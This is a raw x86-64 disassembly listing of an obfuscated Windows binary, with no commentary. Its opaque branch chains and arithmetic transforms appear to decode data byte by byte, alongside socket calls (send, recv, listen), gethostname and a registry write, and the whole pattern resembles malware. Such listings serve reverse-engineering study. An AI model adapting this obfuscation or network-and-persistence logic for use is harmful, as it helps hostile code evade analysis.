cmp r8, rax
je 0x1401032a6
lea rax, [r9 + 4]
cmp r8, rax
je 0x140103287
nop dword [rax + rax]
cmp r9, r14
ja 0x1401033fe
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x140102a8b
lea ecx, [r14 - 0x11]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
add bl, 0x77
jmp 0x140102ad8
lea rax, [r9 + 1]
cmp r8, rax
je 0x140103245
inc rax
cmp r8, rax
je 0x140103229
lea rax, [r9 + 5]
cmp r8, rax
je 0x140103210
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401031f7
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401031de
lea rax, [r9 + 7]
cmp r8, rax
je 0x1401031b6
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, r14
jbe 0x140102ea7
nop dword [rax]
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140102e85
lea rax, [r9 + 2]
cmp r8, rax
je 0x140102e63
lea rax, [r9 + 6]
cmp r8, rax
je 0x140102e44
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140102e22
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140102e09
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140102deb
lea rax, [r9 + 8]
cmp r8, rax
je 0x140102dc3
lea r8, [r9 + 5]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1401033e2
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1401033c6
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140102c24
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140102c0b
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140102d23
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140102d02
lea r8, [r9 + 0x80]
lea r9, [r8 + 1]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140102cd5
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140102cb9
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140102c9b
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140102c7d
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140102c5d
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140102c3d
lea r8, [r9 + 2]
lea r9, [r8 + 0x28]
jmp 0x140102af0
lea ecx, [r14 + 0xb]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 0x4d
jmp 0x140102a60
lea ecx, [r14 + 0x25]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 3
jmp 0x1401029f3
lea edx, [r14 + 0x78]
movzx eax, sil
and al, dl
add al, al
movzx ebx, sil
sub bl, al
sub bl, 0x48
add bl, dl
movzx r10d, r14b
jmp 0x14010325d
lea edx, [r14 - 0x3a]
movzx eax, sil
and al, dl
add al, al
movzx ebx, sil
sub bl, al
sub bl, 0x6a
add bl, dl
movzx r10d, r14b
jmp 0x1401032be
lea edx, [r14 - 6]
movzx eax, sil
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, sil
add bl, dl
jmp 0x1401032f6
lea edx, [r14 + 0x14]
movzx eax, sil
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, sil
add bl, dl
jmp 0x14010332d
lea edx, [r14 + 0x2e]
movzx eax, sil
and al, dl
add al, al
movzx ebx, sil
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x140103355
lea edx, [r14 + 0x48]
movzx eax, sil
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, sil
add bl, dl
movzx eax, byte [rsp + r14 + 0x30]
add rax, r9
add r14, rax
inc r14
jmp 0x1401029e3
lea ecx, [r14 - 0x77]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
add bl, 0x41
mov byte [rsp + r14 + 0x30], bl
inc r14
jmp 0x1401029e3
lea ecx, [r14 - 0x29]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
add bl, 0x1f
lea rax, [r9 + r8]
cmp rax, 0x200
je 0x140103198
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x140102fbe
lea ecx, [r14 - 0x19]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 0x51
cmp r8, 3
jae 0x140103173
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x14010307e
lea edx, [r14 - 0x2a]
movzx eax, dl
and al, sil
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, sil
cmp r9, 0x42
jb 0x140102d16
movzx r10d, r14b
lea ecx, [r10 - 0x2e]
movzx eax, cl
and al, sil
add al, al
sub cl, al
add cl, sil
lea ebx, [rcx*2 - 0x7c]
jmp 0x14010325d
lea ecx, [r14 - 0x66]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 0x36
movzx eax, byte [rsp + r14 + 0x30]
add rax, r9
add r14, rax
inc r14
jmp 0x1401029e3
lea edx, [r14 - 0x32]
movzx eax, dl
and al, sil
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, sil
jmp 0x14010332d
lea ecx, [r14 - 0x18]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 0x58
jmp 0x1401032f6
movzx r10d, r14b
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, sil
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, sil
jmp 0x1401032be
lea ecx, [r14 + 0x36]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 0x7a
dec r14
inc r14
jmp 0x1401029e3
lea ecx, [r14 + 0x50]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 0x30
inc r9
dec r14
inc r14
jmp 0x1401029e3
movzx r10d, r14b
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, sil
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, sil
jmp 0x14010325d
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x140102ec9
lea ecx, [r14 - 0xd]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
add bl, 0x5b
jmp 0x140102d37
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140102efa
lea ecx, [r14 - 0x22]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 0x12
movzx eax, byte [rsp + r14 + 0x30]
add rax, r9
add r14, rax
inc r14
jmp 0x1401029e3
inc rax
cmp r8, rax
jne 0x140102f1b
lea ecx, [r14 - 0x3c]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 0x5c
jmp 0x140103355
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140102f42
lea edx, [r14 - 0x70]
movzx eax, dl
and al, sil
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, sil
jmp 0x1401032f6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140102f67
lea ecx, [r14 + 0x76]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 0x3a
add r8, r9
jmp 0x1401032f6
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140102f94
lea edx, [r14 + 0x42]
movzx eax, dl
and al, sil
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, sil
dec r14
inc r14
jmp 0x1401029e3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140102d37
movzx r10d, r14b
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 0x62
jmp 0x14010325d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140102fe4
movzx r10d, r14b
lea ecx, [r10 - 0x33]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
add bl, 0x65
jmp 0x14010325d
inc rax
cmp r8, rax
jne 0x14010300e
lea ecx, [r14 - 0x4d]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
add bl, 0x1b
inc r9
dec r14
inc r14
jmp 0x1401029e3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140103036
lea ecx, [r14 - 0x67]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 0x2f
dec r14
inc r14
jmp 0x1401029e3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140103058
lea ecx, [r14 + 0x4b]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 0xd
jmp 0x1401032f6
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140102d68
lea ecx, [r14 + 0x31]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 0x57
jmp 0x14010332d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401030af
lea ecx, [r14 - 0x44]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 0x24
movzx eax, byte [rsp + r14 + 0x30]
add rax, r9
add r14, rax
inc r14
jmp 0x1401029e3
inc rax
cmp r8, rax
jne 0x1401030d5
lea edx, [r14 - 0x78]
movzx eax, dl
and al, sil
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, sil
jmp 0x14010332d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401030f7
lea ecx, [r14 + 0x6e]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 2
jmp 0x1401032f6
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010311c
lea ecx, [r14 + 0x54]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 0x4c
add r8, r9
jmp 0x1401032f6
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140103149
lea edx, [r14 + 0x20]
movzx eax, dl
and al, sil
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, sil
dec r14
inc r14
jmp 0x1401029e3
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140102d98
movzx r10d, r14b
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 0x74
jmp 0x14010325d
movzx r10d, r14b
lea edx, [r10 - 0x48]
movzx eax, dl
and al, sil
add al, al
movzx ebx, byte [rsp + r14 + 0x30]
sub bl, al
sub bl, 8
add bl, dl
add bl, sil
jmp 0x1401032be
lea ecx, [r14 - 0x62]
movzx eax, cl
and al, sil
add al, al
sub cl, al
sub cl, byte [rsp + r14 + 0x30]
lea ebx, [rsi + rcx]
sub bl, 0x52
jmp 0x14010332d
lea ecx, [r14 + 5]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 0x23
movzx eax, byte [rsp + r14 + 0x30]
add rax, r9
add r14, rax
inc r14
jmp 0x1401029e3
lea ecx, [r14 + 0x1f]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
add bl, 0x27
jmp 0x140103355
lea ecx, [r14 + 0x39]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
add bl, 0x71
jmp 0x14010332d
lea ecx, [r14 + 0x53]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 0x45
jmp 0x1401032f6
lea ecx, [r14 + 0x6d]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
add bl, 5
add r8, r9
jmp 0x1401032f6
movzx r10d, r14b
lea ecx, [r10 - 0x2b]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
add bl, 0x2d
sub r10b, 0x3b
movzx eax, sil
and al, r10b
add al, al
sub sil, al
sub sil, 0x63
add sil, r10b
mov byte [rsp + r14 + 0x30], sil
inc r9
dec r14
inc r14
jmp 0x1401029e3
lea ecx, [r14 + 0x3d]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
add bl, 0x55
dec r14
inc r14
jmp 0x1401029e3
movzx r10d, r14b
lea ecx, [r10 + 0x57]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [rsi + rcx]
sub bl, 0x61
sub r10b, 0x55
movzx eax, sil
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
add cl, 0x53
add cl, sil
add cl, r10b
mov byte [rsp + r14 + 0x30], cl
add r8, r9
jmp 0x1401032f6
lea rcx, [r14 + r13]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
add bl, 0x33
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r14, rcx
inc r14
jmp 0x1401029e3
movabs rcx, 0xb4fbe83aabbd73a5
add rcx, r14
movzx esi, dl
and dl, cl
add dl, dl
movzx ebx, sil
sub bl, dl
add bl, 0x7d
add bl, cl
lea edx, [r14 - 0x6f]
movzx eax, sil
and al, dl
add al, al
movzx ecx, sil
sub cl, al
add cl, 9
add cl, dl
movzx eax, cl
mov byte [rsp + r14 + 0x30], al
inc r9
add rax, r9
sub r14, rax
lea edx, [r14 - 0x7c]
movzx eax, sil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, sil
add cl, dl
mov byte [rsp + r14 + 0x30], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r14, rax
movzx eax, byte [rsp + r14 + 0x30]
add rax, r9
add r14, rax
inc r14
jmp 0x1401029e3
movabs rcx, 0x46bf5d00075c3d9
add rcx, r14
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
add bl, 0x11
movzx eax, byte [rsp + r14 + 0x30]
add rax, r9
add r14, rax
inc r14
jmp 0x1401029e3
add r14b, 0x3f
movzx eax, sil
and al, r14b
add al, al
sub sil, al
lea ebx, [r14 + rsi]
add bl, 0x47
jmp 0x1401029e0
add r14b, 0x59
movzx eax, sil
and al, r14b
add al, al
sub sil, al
lea ebx, [r14 + rsi]
sub bl, 0x6f
jmp 0x1401029d1
lea rdx, [rbp + 0x14a8674]
jmp 0x140103415
lea rdx, [rbp + 0x15c7267]
jmp 0x140103415
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x32]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140104b92
mov byte [rbp + 0x30], 3
mov dword [rbp], 0xb5abb193
mov word [rbp + 4], 0x49b4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 6], xmm0
mov qword [rbp + 0x16], rax
mov dword [rbp + 0x1e], eax
mov byte [rbp + 0x22], al
movabs r14, 0x4fd2e92240f4448a
movabs r12, 0xce6a3234489668da
movabs r13, 0xef78bb66c2dccd9e
movzx r11d, byte [rbp + 0x30]
nop dword [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140103fee
movzx ebx, byte [rbp + rdi]
mov r10, rbx
cmp r8, rdi
ja 0x140103fe5
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1401034e0
lea rcx, [rdi + r14]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x3a
jmp 0x140103533
je 0x140103f76
inc rax
cmp r8, rax
je 0x140103f14
lea rax, [r9 + 2]
cmp r8, rax
je 0x140103ec8
lea rax, [r9 + 3]
cmp r8, rax
je 0x140103e94
lea rax, [r9 + 4]
cmp r8, rax
je 0x140103e76
lea rax, [r9 + 5]
cmp r8, rax
je 0x140103e3a
lea rax, [r9 + 6]
cmp r8, rax
je 0x140103df2
cmp r9, rdi
ja 0x140103fdc
lea rcx, [r9 + 5]
cmp r8, rcx
jae 0x14010355b
lea ecx, [rdi + 0x52]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3e
jmp 0x1401035b0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140103de3
lea rax, [r9 + 4]
cmp r8, rax
je 0x140103dd6
lea rax, [r9 + 3]
cmp r8, rax
je 0x140103db8
cmp r8, rcx
je 0x140103d9f
lea rax, [r9 + 6]
cmp r8, rax
je 0x140103d81
lea rax, [r9 + 2]
cmp r8, rax
je 0x140103d5a
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140103a2a
nop dword [rax]
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140103a0d
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1401039e6
lea rax, [r9 + 6]
cmp r8, rax
je 0x1401039c7
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1401039a4
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140103988
lea rax, [r9 + 4]
cmp r8, rax
je 0x14010396a
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140103951
lea rax, [r9 + 9]
cmp r8, rax
je 0x140103933
lea r8, [r9 + 0x200]
lea r9, [r8 + 6]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140103fc0
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140103fa0
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14010375f
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140103741
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140103723
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1401038ee
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1401038a5
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140103864
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x64]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140103838
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14010381f
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140103801
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1401037e8
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1401037db
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1401037be
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14010379a
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140103778
lea r8, [r9 + 3]
lea r9, [r8 + 9]
jmp 0x1401035c0
lea edx, [rdi - 0x12]
movzx eax, dl
and al, bl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401035b0
lea edx, [rdi - 0x26]
movzx eax, dl
and al, bl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140103533
lea ecx, [rdi - 0x3a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6a
jmp 0x1401034b1
lea ecx, [rdi + 0x7c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
inc r9
dec rdi
inc rdi
jmp 0x1401034a2
lea edx, [rdi + 0x68]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1401034a2
lea ecx, [rdi + 0x54]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
movzx r10d, dil
jmp 0x140103e53
lea edx, [rdi + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140103e7e
lea ecx, [rdi + 0x2c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
jmp 0x140103eaf
lea edx, [rdi + 0x18]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140103eed
lea ecx, [rdi + 4]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x140103f3a
lea edx, [rdi - 0x10]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401034a2
lea ecx, [rdi + 0x2a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x26
cmp r9, 0x10
jb 0x140103d0b
movzx r10d, dil
lea ecx, [r10 - 4]
movzx eax, cl
and al, bl
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x140103e10
lea edx, [rdi + 0x16]
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x200
jae 0x140103d18
lea rcx, [r9 + 6]
cmp r8, rcx
jbe 0x140103c10
lea ecx, [rdi + 0x34]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
jmp 0x140103878
lea ecx, [rdi + 2]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
lea rax, [r9 + r8]
cmp rax, 9
je 0x140103d3f
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x140103b29
lea ecx, [rdi - 0x1e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2e
jmp 0x1401038be
lea edx, [rdi - 0x28]
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140103f3a
lea ecx, [rdi - 0x3c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x140103eed
lea edx, [rdi - 0x50]
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140103eaf
lea ecx, [rdi - 0x64]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
add r8, r9
jmp 0x140103eaf
movzx r10d, dil
lea edx, [r10 - 0x78]
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140103e53
lea ecx, [rdi + 0x74]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
dec rdi
inc rdi
jmp 0x1401034a2
lea edx, [rdi + 0x60]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1401034a2
lea ecx, [rdi + 0x4c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
movzx r10d, dil
jmp 0x140103e10
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x140103a51
lea edx, [rdi - 0x76]
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140103902
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140103a81
lea ecx, [rdi - 0x5c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401034a2
inc rax
cmp r8, rax
jne 0x140103aa2
lea ecx, [rdi - 0x48]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x140103f3a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140103ac9
lea edx, [rdi - 0x34]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140103eed
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140103adf
lea edx, [rdi - 0xc]
mov ecx, Ordinal_45
jmp 0x140103e7e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140103b0a
lea ecx, [rdi + 0x30]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
inc r9
dec rdi
inc rdi
jmp 0x1401034a2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140103902
movzx r10d, dil
lea edx, [r10 + 0x44]
mov ecx, reloc.WS2_32.dll_select
jmp 0x140103dff
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140103b44
movzx r10d, dil
lea edx, [r10 - 0xa]
mov ecx, reloc.WLDAP32.dll_Ordinal_35
jmp 0x140103dff
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140103b71
lea edx, [rdi + 0x1e]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1401034a2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140103b98
movzx r10d, dil
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5e
jmp 0x140103e53
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140103bba
lea ecx, [rdi + 0x5a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x76
jmp 0x140103eaf
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140103bdc
lea ecx, [rdi + 0x6e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 2
jmp 0x140103eed
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1401038be
lea ecx, [rdi - 0x6a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1a
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401034a2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140103c45
lea edx, [rdi + 0x48]
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401034a2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140103c67
lea ecx, [rdi + 0x70]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x140103eed
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140103c8e
lea edx, [rdi - 0x7c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140103eaf
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140103cb3
lea ecx, [rdi - 0x68]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
add r8, r9
jmp 0x140103eaf
cmp r8, rcx
jne 0x140103cd7
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x1401034a2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140103878
lea edx, [rdi - 0x2c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1401034a2
mov byte [rbp + rdi], r11b
inc rdi
jmp 0x1401034a2
movzx r10d, dil
lea edx, [r10 + 0x10]
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi]
sub r11b, al
sub r11b, 0x70
add r11b, dl
add r11b, bl
jmp 0x140103e53
lea edx, [rdi + 0x24]
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x140103eed
lea ecx, [rdi + 6]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2a
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401034a2
lea edx, [rdi - 0xe]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140103f3a
lea ecx, [rdi - 0x22]
movzx eax, cl
and al, bl
add al, al
sub cl, al
